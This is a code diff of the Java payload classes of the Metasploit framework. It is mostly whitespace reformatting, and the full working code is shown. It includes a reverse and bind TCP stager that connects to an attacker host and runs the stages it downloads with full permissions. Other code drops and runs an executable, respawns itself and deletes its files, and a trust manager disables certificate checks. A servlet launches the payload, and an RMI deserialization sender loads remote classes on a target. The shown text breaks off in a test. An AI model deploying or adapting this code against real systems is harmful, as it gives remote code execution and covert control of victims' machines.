|
|
||||||
|
|
||||||
// build the stage parameters, if any
|
|
||||||
StringTokenizer stageParamTokenizer = new StringTokenizer("Payload -- "+props.getProperty("StageParameters", ""), " ");
|
|
||||||
String[] stageParams = new String[stageParamTokenizer.countTokens()];
|
|
||||||
for (int i = 0; i < stageParams.length; i++) {
|
|
||||||
stageParams[i] = stageParamTokenizer.nextToken();
|
|
||||||
}
|
|
||||||
new Payload().bootstrap(in, out, props.getProperty("EmbeddedStage", null), stageParams);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
private static void writeEmbeddedFile(Class clazz, String resourceName, File targetFile) throws FileNotFoundException, IOException {
|
// check if we should drop an executable
|
||||||
InputStream in = clazz.getResourceAsStream("/"+resourceName);
|
String executableName = props.getProperty("Executable");
|
||||||
FileOutputStream fos = new FileOutputStream(targetFile);
|
if (executableName != null) {
|
||||||
byte[] buf = new byte[4096];
|
File dummyTempFile = File.createTempFile("~spawn", ".tmp");
|
||||||
int len;
|
dummyTempFile.delete();
|
||||||
while ((len = in.read(buf)) != -1) {
|
File tempDir = new File(dummyTempFile.getAbsolutePath() + ".dir");
|
||||||
fos.write(buf,0,len);
|
tempDir.mkdir();
|
||||||
}
|
File executableFile = new File(tempDir, executableName);
|
||||||
fos.close();
|
writeEmbeddedFile(clazz, executableName, executableFile);
|
||||||
}
|
props.remove("Executable");
|
||||||
|
props.put("DroppedExecutable", executableFile.getCanonicalPath());
|
||||||
private final void bootstrap(InputStream rawIn, OutputStream out, String embeddedStageName, String[] stageParameters) throws Exception {
|
}
|
||||||
try {
|
|
||||||
final DataInputStream in = new DataInputStream(rawIn);
|
// check if we should respawn
|
||||||
Class clazz;
|
int spawn = Integer.parseInt(props.getProperty("Spawn", "0"));
|
||||||
final Permissions permissions = new Permissions();
|
String droppedExecutable = props.getProperty("DroppedExecutable");
|
||||||
permissions.add(new AllPermission());
|
if (spawn > 0) {
|
||||||
final ProtectionDomain pd = new ProtectionDomain(new CodeSource(new URL("file:///"), new Certificate[0]), permissions);
|
// decrease count so that eventually the process
|
||||||
|
// will stop spawning
|
||||||
|
props.setProperty("Spawn", String.valueOf(spawn - 1));
|
||||||
|
// write our class
|
||||||
|
File dummyTempFile = File.createTempFile("~spawn", ".tmp");
|
||||||
|
dummyTempFile.delete();
|
||||||
|
File tempDir = new File(dummyTempFile.getAbsolutePath() + ".dir");
|
||||||
|
File propFile = new File(tempDir, "metasploit.dat");
|
||||||
|
File classFile = new File(tempDir, clazzFile);
|
||||||
|
classFile.getParentFile().mkdirs();
|
||||||
|
// load ourselves via the class loader (works both on disk and from Jar)
|
||||||
|
writeEmbeddedFile(clazz, clazzFile, classFile);
|
||||||
|
if (props.getProperty("URL", "").startsWith("https:")) {
|
||||||
|
writeEmbeddedFile(clazz, "metasploit/PayloadTrustManager.class", new File(classFile.getParentFile(), "PayloadTrustManager.class"));
|
||||||
|
}
|
||||||
|
if (props.getProperty("AESPassword", null) != null) {
|
||||||
|
writeEmbeddedFile(clazz, "metasploit/AESEncryption.class", new File(classFile.getParentFile(), "AESEncryption.class"));
|
||||||
|
}
|
||||||
|
FileOutputStream fos = new FileOutputStream(propFile);
|
||||||
|
props.store(fos, "");
|
||||||
|
fos.close();
|
||||||
|
Process proc = Runtime.getRuntime().exec(new String[]{
|
||||||
|
getJreExecutable("java"),
|
||||||
|
"-classpath",
|
||||||
|
tempDir.getAbsolutePath(),
|
||||||
|
clazz.getName()
|
||||||
|
});
|
||||||
|
// the input streams might cause the child process to block if
|
||||||
|
// we do not read or close them
|
||||||
|
proc.getInputStream().close();
|
||||||
|
proc.getErrorStream().close();
|
||||||
|
|
||||||
|
// give the process plenty of time to load the class if needed
|
||||||
|
Thread.sleep(2000);
|
||||||
|
|
||||||
|
// clean up (we can even delete the .class file on Windows
|
||||||
|
// if the process is still running). Note that delete()
|
||||||
|
// will only delete empty directories, so we have to delete
|
||||||
|
// everything else first
|
||||||
|
File[] files = new File[]{
|
||||||
|
classFile, classFile.getParentFile(), propFile, tempDir
|
||||||
|
};
|
||||||
|
for (int i = 0; i < files.length; i++) {
|
||||||
|
for (int j = 0; j < 10; j++) {
|
||||||
|
if (files[i].delete())
|
||||||
|
break;
|
||||||
|
files[i].deleteOnExit();
|
||||||
|
Thread.sleep(100);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
} else if (droppedExecutable != null) {
|
||||||
|
File droppedFile = new File(droppedExecutable);
|
||||||
|
// File.setExecutable is Java 1.6+, therefore call it via reflection and try
|
||||||
|
// the chmod alternative if it fails. Do not call it at all for Windows.
|
||||||
|
if (!IS_DOS) {
|
||||||
|
try {
|
||||||
|
try {
|
||||||
|
File.class.getMethod("setExecutable", new Class[]{boolean.class}).invoke(droppedFile, new Object[]{Boolean.TRUE});
|
||||||
|
} catch (NoSuchMethodException ex) {
|
||||||
|
// ok, no setExecutable method, call chmod and wait for it
|
||||||
|
Runtime.getRuntime().exec(new String[]{"chmod", "+x", droppedExecutable}).waitFor();
|
||||||
|
}
|
||||||
|
} catch (Exception ex) {
|
||||||
|
// try to continue anyway, we have nothing to lose
|
||||||
|
ex.printStackTrace();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// now execute the executable.
|
||||||
|
// tempdir may contain spaces, so do not use the String variant of exec!
|
||||||
|
Runtime.getRuntime().exec(new String[]{droppedExecutable});
|
||||||
|
|
||||||
|
// Linux and other Unices allow removing files while they are in use
|
||||||
|
if (!IS_DOS) {
|
||||||
|
droppedFile.delete();
|
||||||
|
droppedFile.getParentFile().delete();
|
||||||
|
}
|
||||||
|
} else {
|
||||||
|
// check what stager to use (bind/reverse)
|
||||||
|
int lPort = Integer.parseInt(props.getProperty("LPORT", "4444"));
|
||||||
|
String lHost = props.getProperty("LHOST", null);
|
||||||
|
String url = props.getProperty("URL", null);
|
||||||
|
InputStream in;
|
||||||
|
OutputStream out;
|
||||||
|
if (lPort <= 0) {
|
||||||
|
// debug code: just connect to stdin/stdout
|
||||||
|
// best used with embedded stages
|
||||||
|
in = System.in;
|
||||||
|
out = System.out;
|
||||||
|
} else if (url != null) {
|
||||||
|
if (url.startsWith("raw:"))
|
||||||
|
// for debugging: just use raw bytes from property file
|
||||||
|
in = new ByteArrayInputStream(url.substring(4).getBytes("ISO-8859-1"));
|
||||||
|
else if (url.startsWith("https:")) {
|
||||||
|
URLConnection uc = new URL(url).openConnection();
|
||||||
|
// load the trust manager via reflection, to avoid loading
|
||||||
|
// it when it is not needed (it requires Sun Java 1.4+)
|
||||||
|
Class.forName("metasploit.PayloadTrustManager").getMethod("useFor", new Class[]{URLConnection.class}).invoke(null, new Object[]{uc});
|
||||||
|
in = uc.getInputStream();
|
||||||
|
} else
|
||||||
|
in = new URL(url).openStream();
|
||||||
|
out = new ByteArrayOutputStream();
|
||||||
|
} else {
|
||||||
|
Socket socket;
|
||||||
|
if (lHost != null) {
|
||||||
|
// reverse_tcp
|
||||||
|
socket = new Socket(lHost, lPort);
|
||||||
|
} else {
|
||||||
|
// bind_tcp
|
||||||
|
ServerSocket serverSocket = new ServerSocket(lPort);
|
||||||
|
socket = serverSocket.accept();
|
||||||
|
serverSocket.close(); // no need to listen any longer
|
||||||
|
}
|
||||||
|
in = socket.getInputStream();
|
||||||
|
out = socket.getOutputStream();
|
||||||
|
}
|
||||||
|
|
||||||
|
String aesPassword = props.getProperty("AESPassword", null);
|
||||||
|
if (aesPassword != null) {
|
||||||
|
// load the crypto code via reflection, to avoid loading
|
||||||
|
// it when it is not needed (it requires Sun Java 1.4+ or JCE)
|
||||||
|
Object[] streams = (Object[]) Class.forName("metasploit.AESEncryption").getMethod("wrapStreams", new Class[]{InputStream.class, OutputStream.class, String.class}).invoke(null, new Object[]{in, out, aesPassword});
|
||||||
|
in = (InputStream) streams[0];
|
||||||
|
out = (OutputStream) streams[1];
|
||||||
|
}
|
||||||
|
|
||||||
|
// build the stage parameters, if any
|
||||||
|
StringTokenizer stageParamTokenizer = new StringTokenizer("Payload -- " + props.getProperty("StageParameters", ""), " ");
|
||||||
|
String[] stageParams = new String[stageParamTokenizer.countTokens()];
|
||||||
|
for (int i = 0; i < stageParams.length; i++) {
|
||||||
|
stageParams[i] = stageParamTokenizer.nextToken();
|
||||||
|
}
|
||||||
|
new Payload().bootstrap(in, out, props.getProperty("EmbeddedStage", null), stageParams);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
private static void writeEmbeddedFile(Class clazz, String resourceName, File targetFile) throws FileNotFoundException, IOException {
|
||||||
|
InputStream in = clazz.getResourceAsStream("/" + resourceName);
|
||||||
|
FileOutputStream fos = new FileOutputStream(targetFile);
|
||||||
|
byte[] buf = new byte[4096];
|
||||||
|
int len;
|
||||||
|
while ((len = in.read(buf)) != -1) {
|
||||||
|
fos.write(buf, 0, len);
|
||||||
|
}
|
||||||
|
fos.close();
|
||||||
|
}
|
||||||
|
|
||||||
|
private final void bootstrap(InputStream rawIn, OutputStream out, String embeddedStageName, String[] stageParameters) throws Exception {
|
||||||
|
try {
|
||||||
|
final DataInputStream in = new DataInputStream(rawIn);
|
||||||
|
Class clazz;
|
||||||
|
final Permissions permissions = new Permissions();
|
||||||
|
permissions.add(new AllPermission());
|
||||||
|
final ProtectionDomain pd = new ProtectionDomain(new CodeSource(new URL("file:///"), new Certificate[0]), permissions);
|
||||||
if (embeddedStageName == null) {
|
if (embeddedStageName == null) {
|
||||||
int length = in.readInt();
|
int length = in.readInt();
|
||||||
do {
|
do {
|
||||||
@ -256,21 +256,21 @@ public class Payload extends ClassLoader {
|
|||||||
length = in.readInt();
|
length = in.readInt();
|
||||||
} while (length > 0);
|
} while (length > 0);
|
||||||
} else {
|
} else {
|
||||||
clazz = Class.forName("javapayload.stage."+embeddedStageName);
|
clazz = Class.forName("javapayload.stage." + embeddedStageName);
|
||||||
}
|
}
|
||||||
final Object stage = clazz.newInstance();
|
final Object stage = clazz.newInstance();
|
||||||
clazz.getMethod("start", new Class[] { DataInputStream.class, OutputStream.class, String[].class }).invoke(stage, new Object[] { in, out, stageParameters });
|
clazz.getMethod("start", new Class[]{DataInputStream.class, OutputStream.class, String[].class}).invoke(stage, new Object[]{in, out, stageParameters});
|
||||||
} catch (final Throwable t) {
|
} catch (final Throwable t) {
|
||||||
t.printStackTrace(new PrintStream(out));
|
t.printStackTrace(new PrintStream(out));
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
///
|
///
|
||||||
/// The rest of the file is based on code from Apache Ant 1.8.1
|
/// The rest of the file is based on code from Apache Ant 1.8.1
|
||||||
///
|
///
|
||||||
private static final String OS_NAME = System.getProperty("os.name").toLowerCase(Locale.ENGLISH);
|
private static final String OS_NAME = System.getProperty("os.name").toLowerCase(Locale.ENGLISH);
|
||||||
private static final String PATH_SEP = System.getProperty("path.separator");
|
private static final String PATH_SEP = System.getProperty("path.separator");
|
||||||
|
|
||||||
private static final boolean IS_AIX = "aix".equals(OS_NAME);
|
private static final boolean IS_AIX = "aix".equals(OS_NAME);
|
||||||
private static final boolean IS_DOS = PATH_SEP.equals(";");
|
private static final boolean IS_DOS = PATH_SEP.equals(";");
|
||||||
private static final String JAVA_HOME = System.getProperty("java.home");
|
private static final String JAVA_HOME = System.getProperty("java.home");
|
||||||
@ -348,7 +348,7 @@ public class Payload extends ClassLoader {
|
|||||||
}
|
}
|
||||||
return new File(sb.toString());
|
return new File(sb.toString());
|
||||||
}
|
}
|
||||||
|
|
||||||
private static String[] dissect(String path) {
|
private static String[] dissect(String path) {
|
||||||
char sep = File.separatorChar;
|
char sep = File.separatorChar;
|
||||||
path = path.replace('/', sep).replace('\\', sep);
|
path = path.replace('/', sep).replace('\\', sep);
|
||||||
@ -382,6 +382,6 @@ public class Payload extends ClassLoader {
|
|||||||
root = File.separator;
|
root = File.separator;
|
||||||
path = path.substring(1);
|
path = path.substring(1);
|
||||||
}
|
}
|
||||||
return new String[] {root, path};
|
return new String[]{root, path};
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
@ -4,27 +4,30 @@ import java.io.*;
|
|||||||
|
|
||||||
import javax.servlet.*;
|
import javax.servlet.*;
|
||||||
import javax.servlet.http.*;
|
import javax.servlet.http.*;
|
||||||
|
|
||||||
import java.lang.Thread;
|
import java.lang.Thread;
|
||||||
|
|
||||||
public class PayloadServlet extends HttpServlet implements Runnable {
|
public class PayloadServlet extends HttpServlet implements Runnable {
|
||||||
|
|
||||||
public void run() {
|
public void run() {
|
||||||
try {
|
try {
|
||||||
metasploit.Payload.main(new String[] {""});
|
metasploit.Payload.main(new String[]{""});
|
||||||
} catch (Exception e) {}
|
} catch (Exception e) {
|
||||||
}
|
}
|
||||||
|
}
|
||||||
|
|
||||||
protected void doGet(HttpServletRequest req, HttpServletResponse res)
|
protected void doGet(HttpServletRequest req, HttpServletResponse res)
|
||||||
throws ServletException, java.io.IOException
|
throws ServletException, java.io.IOException {
|
||||||
{
|
PrintWriter out = res.getWriter();
|
||||||
PrintWriter out = res.getWriter();
|
|
||||||
|
|
||||||
try {
|
try {
|
||||||
Thread t = new Thread(this);
|
Thread t = new Thread(this);
|
||||||
t.start();
|
t.start();
|
||||||
} catch(Exception e) { };
|
} catch (Exception e) {
|
||||||
|
}
|
||||||
|
;
|
||||||
|
|
||||||
out.close();
|
out.close();
|
||||||
}
|
}
|
||||||
|
|
||||||
}
|
}
|
||||||
|
@ -41,6 +41,7 @@ import javax.net.ssl.SSLContext;
|
|||||||
import javax.net.ssl.SSLSession;
|
import javax.net.ssl.SSLSession;
|
||||||
import javax.net.ssl.TrustManager;
|
import javax.net.ssl.TrustManager;
|
||||||
import javax.net.ssl.X509TrustManager;
|
import javax.net.ssl.X509TrustManager;
|
||||||
|
|
||||||
import java.security.cert.X509Certificate;
|
import java.security.cert.X509Certificate;
|
||||||
|
|
||||||
/**
|
/**
|
||||||
@ -51,36 +52,36 @@ import java.security.cert.X509Certificate;
|
|||||||
*/
|
*/
|
||||||
public class PayloadTrustManager implements X509TrustManager, HostnameVerifier {
|
public class PayloadTrustManager implements X509TrustManager, HostnameVerifier {
|
||||||
|
|
||||||
public X509Certificate[] getAcceptedIssuers() {
|
public X509Certificate[] getAcceptedIssuers() {
|
||||||
// no preferred issuers
|
// no preferred issuers
|
||||||
return new X509Certificate[0];
|
return new X509Certificate[0];
|
||||||
}
|
}
|
||||||
|
|
||||||
public void checkClientTrusted(java.security.cert.X509Certificate[] certs, String authType) {
|
public void checkClientTrusted(java.security.cert.X509Certificate[] certs, String authType) {
|
||||||
// trust everyone
|
// trust everyone
|
||||||
}
|
}
|
||||||
|
|
||||||
public void checkServerTrusted(java.security.cert.X509Certificate[] certs, String authType) {
|
public void checkServerTrusted(java.security.cert.X509Certificate[] certs, String authType) {
|
||||||
// trust everyone
|
// trust everyone
|
||||||
}
|
}
|
||||||
|
|
||||||
public boolean verify(String hostname, SSLSession session) {
|
|
||||||
// trust everyone
|
|
||||||
return true;
|
|
||||||
}
|
|
||||||
|
|
||||||
/**
|
public boolean verify(String hostname, SSLSession session) {
|
||||||
* Called by the {@link Payload} class to modify the given
|
// trust everyone
|
||||||
* {@link URLConnection} so that it uses this trust manager.
|
return true;
|
||||||
*/
|
}
|
||||||
public static void useFor(URLConnection uc) throws Exception {
|
|
||||||
if (uc instanceof HttpsURLConnection) {
|
/**
|
||||||
HttpsURLConnection huc = ((HttpsURLConnection) uc);
|
* Called by the {@link Payload} class to modify the given
|
||||||
PayloadTrustManager ptm = new PayloadTrustManager();
|
* {@link URLConnection} so that it uses this trust manager.
|
||||||
SSLContext sc = SSLContext.getInstance("SSL");
|
*/
|
||||||
sc.init(null, new TrustManager[] { ptm }, new java.security.SecureRandom());
|
public static void useFor(URLConnection uc) throws Exception {
|
||||||
huc.setSSLSocketFactory(sc.getSocketFactory());
|
if (uc instanceof HttpsURLConnection) {
|
||||||
huc.setHostnameVerifier(ptm);
|
HttpsURLConnection huc = ((HttpsURLConnection) uc);
|
||||||
}
|
PayloadTrustManager ptm = new PayloadTrustManager();
|
||||||
}
|
SSLContext sc = SSLContext.getInstance("SSL");
|
||||||
|
sc.init(null, new TrustManager[]{ptm}, new java.security.SecureRandom());
|
||||||
|
huc.setSSLSocketFactory(sc.getSocketFactory());
|
||||||
|
huc.setHostnameVerifier(ptm);
|
||||||
|
}
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
@ -13,35 +13,35 @@ import java.security.cert.Certificate;
|
|||||||
|
|
||||||
public class RMILoader extends ClassLoader implements Serializable {
|
public class RMILoader extends ClassLoader implements Serializable {
|
||||||
|
|
||||||
public Object readResolve() throws ObjectStreamException {
|
public Object readResolve() throws ObjectStreamException {
|
||||||
try {
|
try {
|
||||||
String[] classes = new String[] {
|
String[] classes = new String[]{
|
||||||
"metasploit/Payload.class",
|
"metasploit/Payload.class",
|
||||||
"metasploit/RMIPayload.class"
|
"metasploit/RMIPayload.class"
|
||||||
};
|
};
|
||||||
Class clazz = null;
|
Class clazz = null;
|
||||||
for (int i = 0; i < classes.length; i++) {
|
for (int i = 0; i < classes.length; i++) {
|
||||||
Permissions permissions = new Permissions();
|
Permissions permissions = new Permissions();
|
||||||
permissions.add(new AllPermission());
|
permissions.add(new AllPermission());
|
||||||
ByteArrayOutputStream out = new ByteArrayOutputStream();
|
ByteArrayOutputStream out = new ByteArrayOutputStream();
|
||||||
InputStream in = getResourceAsStream(classes[i]);
|
InputStream in = getResourceAsStream(classes[i]);
|
||||||
byte[] buf = new byte[4096];
|
byte[] buf = new byte[4096];
|
||||||
int len;
|
int len;
|
||||||
while ((len = in.read(buf)) != -1) {
|
while ((len = in.read(buf)) != -1) {
|
||||||
out.write(buf, 0, len);
|
out.write(buf, 0, len);
|
||||||
}
|
}
|
||||||
in.close();
|
in.close();
|
||||||
byte[] classBytes = out.toByteArray();
|
byte[] classBytes = out.toByteArray();
|
||||||
clazz = defineClass(null, classBytes, 0, classBytes.length, new ProtectionDomain(new CodeSource(new URL("file:///"), new Certificate[0]), permissions));
|
clazz = defineClass(null, classBytes, 0, classBytes.length, new ProtectionDomain(new CodeSource(new URL("file:///"), new Certificate[0]), permissions));
|
||||||
}
|
}
|
||||||
clazz.newInstance();
|
clazz.newInstance();
|
||||||
} catch (Exception ex) {
|
} catch (Exception ex) {
|
||||||
throw new RuntimeException(ex.toString());
|
throw new RuntimeException(ex.toString());
|
||||||
}
|
}
|
||||||
return null;
|
return null;
|
||||||
}
|
}
|
||||||
|
|
||||||
public URL getResource(String name) {
|
public URL getResource(String name) {
|
||||||
return getClass().getClassLoader().getResource(name);
|
return getClass().getClassLoader().getResource(name);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
@ -4,13 +4,13 @@ import java.security.AccessController;
|
|||||||
import java.security.PrivilegedExceptionAction;
|
import java.security.PrivilegedExceptionAction;
|
||||||
|
|
||||||
public class RMIPayload implements PrivilegedExceptionAction {
|
public class RMIPayload implements PrivilegedExceptionAction {
|
||||||
|
|
||||||
public RMIPayload() throws Exception {
|
|
||||||
AccessController.doPrivileged(this);
|
|
||||||
}
|
|
||||||
|
|
||||||
public Object run() throws Exception {
|
public RMIPayload() throws Exception {
|
||||||
Payload.main(null);
|
AccessController.doPrivileged(this);
|
||||||
return null;
|
}
|
||||||
}
|
|
||||||
|
public Object run() throws Exception {
|
||||||
|
Payload.main(null);
|
||||||
|
return null;
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
@ -10,53 +10,53 @@ import java.net.Socket;
|
|||||||
import java.rmi.UnmarshalException;
|
import java.rmi.UnmarshalException;
|
||||||
|
|
||||||
public class RMICaptureServer {
|
public class RMICaptureServer {
|
||||||
|
|
||||||
// http://download.oracle.com/javase/1.3/docs/guide/rmi/spec/rmi-protocol.html
|
|
||||||
|
|
||||||
public static void main(String[] args) throws Exception {
|
// http://download.oracle.com/javase/1.3/docs/guide/rmi/spec/rmi-protocol.html
|
||||||
FileOutputStream fos = new FileOutputStream("build/rmipacket");
|
|
||||||
ServerSocket ss = new ServerSocket(11099);
|
public static void main(String[] args) throws Exception {
|
||||||
Thread t = new Thread(new Runnable() {
|
FileOutputStream fos = new FileOutputStream("build/rmipacket");
|
||||||
public void run() {
|
ServerSocket ss = new ServerSocket(11099);
|
||||||
try {
|
Thread t = new Thread(new Runnable() {
|
||||||
RMISender.main(new String[] {"file:./rmidummy.jar", "localhost", "11099"});
|
public void run() {
|
||||||
} catch (UnmarshalException ex) {
|
try {
|
||||||
// expected
|
RMISender.main(new String[]{"file:./rmidummy.jar", "localhost", "11099"});
|
||||||
} catch (Exception ex) {
|
} catch (UnmarshalException ex) {
|
||||||
ex.printStackTrace();
|
// expected
|
||||||
}
|
} catch (Exception ex) {
|
||||||
}
|
ex.printStackTrace();
|
||||||
});
|
}
|
||||||
t.setDaemon(true);
|
}
|
||||||
t.start();
|
});
|
||||||
Socket s = ss.accept();
|
t.setDaemon(true);
|
||||||
ss.close();
|
t.start();
|
||||||
DataInputStream in = new DataInputStream(s.getInputStream());
|
Socket s = ss.accept();
|
||||||
DataOutputStream out = new DataOutputStream(s.getOutputStream());
|
ss.close();
|
||||||
|
DataInputStream in = new DataInputStream(s.getInputStream());
|
||||||
byte[] hdr = new byte[7];
|
DataOutputStream out = new DataOutputStream(s.getOutputStream());
|
||||||
in.readFully(hdr);
|
|
||||||
if (!new String(hdr, "ISO-8859-1").equals("JRMI\0\2K"))
|
byte[] hdr = new byte[7];
|
||||||
throw new IOException("Unsupported RMI header");
|
in.readFully(hdr);
|
||||||
|
if (!new String(hdr, "ISO-8859-1").equals("JRMI\0\2K"))
|
||||||
out.write('N');
|
throw new IOException("Unsupported RMI header");
|
||||||
out.writeUTF("127.0.0.1");
|
|
||||||
out.writeInt(11099);
|
out.write('N');
|
||||||
out.flush();
|
out.writeUTF("127.0.0.1");
|
||||||
|
out.writeInt(11099);
|
||||||
in.readUTF();
|
out.flush();
|
||||||
in.readInt();
|
|
||||||
|
in.readUTF();
|
||||||
s.setSoTimeout(1000);
|
in.readInt();
|
||||||
try {
|
|
||||||
byte[] buf = new byte[4096];
|
s.setSoTimeout(1000);
|
||||||
int len;
|
try {
|
||||||
while ((len = in.read(buf)) != -1) {
|
byte[] buf = new byte[4096];
|
||||||
fos.write(buf, 0, len);
|
int len;
|
||||||
}
|
while ((len = in.read(buf)) != -1) {
|
||||||
} catch (InterruptedIOException ex) {
|
fos.write(buf, 0, len);
|
||||||
// we are done
|
}
|
||||||
}
|
} catch (InterruptedIOException ex) {
|
||||||
fos.close();
|
// we are done
|
||||||
}
|
}
|
||||||
|
fos.close();
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
@ -8,30 +8,30 @@ import java.net.Socket;
|
|||||||
|
|
||||||
public class RMIReplaySender {
|
public class RMIReplaySender {
|
||||||
|
|
||||||
// http://download.oracle.com/javase/1.3/docs/guide/rmi/spec/rmi-protocol.html
|
// http://download.oracle.com/javase/1.3/docs/guide/rmi/spec/rmi-protocol.html
|
||||||
|
|
||||||
public static void main(String[] args) throws Exception {
|
public static void main(String[] args) throws Exception {
|
||||||
File rmipacket = new File("build/rmipacket");
|
File rmipacket = new File("build/rmipacket");
|
||||||
System.out.println(rmipacket.length());
|
System.out.println(rmipacket.length());
|
||||||
DataInputStream in = new DataInputStream(new FileInputStream(rmipacket));
|
DataInputStream in = new DataInputStream(new FileInputStream(rmipacket));
|
||||||
byte[] packetBytes = new byte[(int)rmipacket.length()];
|
byte[] packetBytes = new byte[(int) rmipacket.length()];
|
||||||
in.readFully(packetBytes);
|
in.readFully(packetBytes);
|
||||||
in.close();
|
in.close();
|
||||||
|
|
||||||
String url = args[0];
|
String url = args[0];
|
||||||
String dummyURL = "file:./rmidummy.jar";
|
String dummyURL = "file:./rmidummy.jar";
|
||||||
|
|
||||||
String packetStr = new String(packetBytes, "ISO-8859-1");
|
String packetStr = new String(packetBytes, "ISO-8859-1");
|
||||||
int pos = packetStr.indexOf((char)0+""+(char)dummyURL.length() + dummyURL);
|
int pos = packetStr.indexOf((char) 0 + "" + (char) dummyURL.length() + dummyURL);
|
||||||
packetStr = packetStr.substring(0, pos+1) + (char)url.length() + url + packetStr.substring(pos + 2 + dummyURL.length());
|
packetStr = packetStr.substring(0, pos + 1) + (char) url.length() + url + packetStr.substring(pos + 2 + dummyURL.length());
|
||||||
packetBytes = packetStr.getBytes("ISO-8859-1");
|
packetBytes = packetStr.getBytes("ISO-8859-1");
|
||||||
|
|
||||||
Socket s = new Socket(args[1],Integer.parseInt(args[2]));
|
Socket s = new Socket(args[1], Integer.parseInt(args[2]));
|
||||||
OutputStream out = s.getOutputStream();
|
OutputStream out = s.getOutputStream();
|
||||||
out.write("JRMI\0\2K\0\0\0\0\0\0".getBytes("ISO-8859-1"));
|
out.write("JRMI\0\2K\0\0\0\0\0\0".getBytes("ISO-8859-1"));
|
||||||
out.write(packetBytes);
|
out.write(packetBytes);
|
||||||
out.flush();
|
out.flush();
|
||||||
Thread.sleep(500);
|
Thread.sleep(500);
|
||||||
s.close();
|
s.close();
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
@ -15,22 +15,23 @@ import sun.rmi.transport.LiveRef;
|
|||||||
import sun.rmi.transport.tcp.TCPEndpoint;
|
import sun.rmi.transport.tcp.TCPEndpoint;
|
||||||
|
|
||||||
public class RMISender {
|
public class RMISender {
|
||||||
|
|
||||||
public static void main(String[] args) throws Exception {
|
public static void main(String[] args) throws Exception {
|
||||||
Endpoint endpoint = new TCPEndpoint(args[1], Integer.parseInt(args[2]));
|
Endpoint endpoint = new TCPEndpoint(args[1], Integer.parseInt(args[2]));
|
||||||
URLClassLoader ucl = new URLClassLoader(new URL[] {new URL(args[0])});
|
URLClassLoader ucl = new URLClassLoader(new URL[]{new URL(args[0])});
|
||||||
Object loader = ucl.loadClass("metasploit.RMILoader").newInstance();
|
Object loader = ucl.loadClass("metasploit.RMILoader").newInstance();
|
||||||
UnicastRef2 ref = new UnicastRef2(new LiveRef(new ObjID(ObjID.DGC_ID), endpoint, false));
|
UnicastRef2 ref = new UnicastRef2(new LiveRef(new ObjID(ObjID.DGC_ID), endpoint, false));
|
||||||
DGCImpl_Stub stub = new DGCImpl_Stub(ref);
|
DGCImpl_Stub stub = new DGCImpl_Stub(ref);
|
||||||
Field f = stub.getClass().getDeclaredField("operations");;
|
Field f = stub.getClass().getDeclaredField("operations");
|
||||||
f.setAccessible(true);
|
;
|
||||||
RemoteCall remotecall = ref.newCall(stub, (Operation[])f.get(stub), 0, 0xf6b6898d8bf28643L);
|
f.setAccessible(true);
|
||||||
ObjectOutput objectoutput = remotecall.getOutputStream();
|
RemoteCall remotecall = ref.newCall(stub, (Operation[]) f.get(stub), 0, 0xf6b6898d8bf28643L);
|
||||||
objectoutput.writeObject(new ObjID[0]);
|
ObjectOutput objectoutput = remotecall.getOutputStream();
|
||||||
objectoutput.writeLong(0);
|
objectoutput.writeObject(new ObjID[0]);
|
||||||
objectoutput.writeObject(loader);
|
objectoutput.writeLong(0);
|
||||||
objectoutput.writeBoolean(false);
|
objectoutput.writeObject(loader);
|
||||||
ref.invoke(remotecall);
|
objectoutput.writeBoolean(false);
|
||||||
ref.done(remotecall);
|
ref.invoke(remotecall);
|
||||||
}
|
ref.done(remotecall);
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
@ -10,13 +10,13 @@ import java.io.OutputStream;
|
|||||||
*/
|
*/
|
||||||
public class MeterpDummy {
|
public class MeterpDummy {
|
||||||
|
|
||||||
public MeterpDummy(DataInputStream in, OutputStream rawOut, boolean loadExtensions, boolean redirectErrors) throws Exception {
|
public MeterpDummy(DataInputStream in, OutputStream rawOut, boolean loadExtensions, boolean redirectErrors) throws Exception {
|
||||||
byte[] buffer = new byte[in.readInt()];
|
byte[] buffer = new byte[in.readInt()];
|
||||||
in.readFully(buffer);
|
in.readFully(buffer);
|
||||||
DataOutputStream out = new DataOutputStream(rawOut);
|
DataOutputStream out = new DataOutputStream(rawOut);
|
||||||
out.write(buffer);
|
out.write(buffer);
|
||||||
out.writeBoolean(loadExtensions);
|
out.writeBoolean(loadExtensions);
|
||||||
out.writeBoolean(redirectErrors);
|
out.writeBoolean(redirectErrors);
|
||||||
out.close();
|
out.close();
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
@ -5,16 +5,16 @@ import java.io.DataOutputStream;
|
|||||||
import java.io.OutputStream;
|
import java.io.OutputStream;
|
||||||
|
|
||||||
public class DummyStage implements Stage {
|
public class DummyStage implements Stage {
|
||||||
public void start(DataInputStream in, OutputStream rawOut, String[] parameters) throws Exception {
|
public void start(DataInputStream in, OutputStream rawOut, String[] parameters) throws Exception {
|
||||||
byte[] buffer = new byte[in.readInt()];
|
byte[] buffer = new byte[in.readInt()];
|
||||||
in.readFully(buffer);
|
in.readFully(buffer);
|
||||||
DataOutputStream out = new DataOutputStream(rawOut);
|
DataOutputStream out = new DataOutputStream(rawOut);
|
||||||
out.write(buffer);
|
out.write(buffer);
|
||||||
out.writeInt(parameters.length);
|
out.writeInt(parameters.length);
|
||||||
for (int i = 0; i < parameters.length; i++) {
|
for (int i = 0; i < parameters.length; i++) {
|
||||||
out.writeUTF(parameters[i]);
|
out.writeUTF(parameters[i]);
|
||||||
}
|
}
|
||||||
in.close();
|
in.close();
|
||||||
out.close();
|
out.close();
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
@ -18,63 +18,63 @@ import com.metasploit.meterpreter.MeterpDummy;
|
|||||||
|
|
||||||
public class MeterpreterTest extends TestCase {
|
public class MeterpreterTest extends TestCase {
|
||||||
|
|
||||||
public void testMemoryBufferURLConnection() throws Exception {
|
public void testMemoryBufferURLConnection() throws Exception {
|
||||||
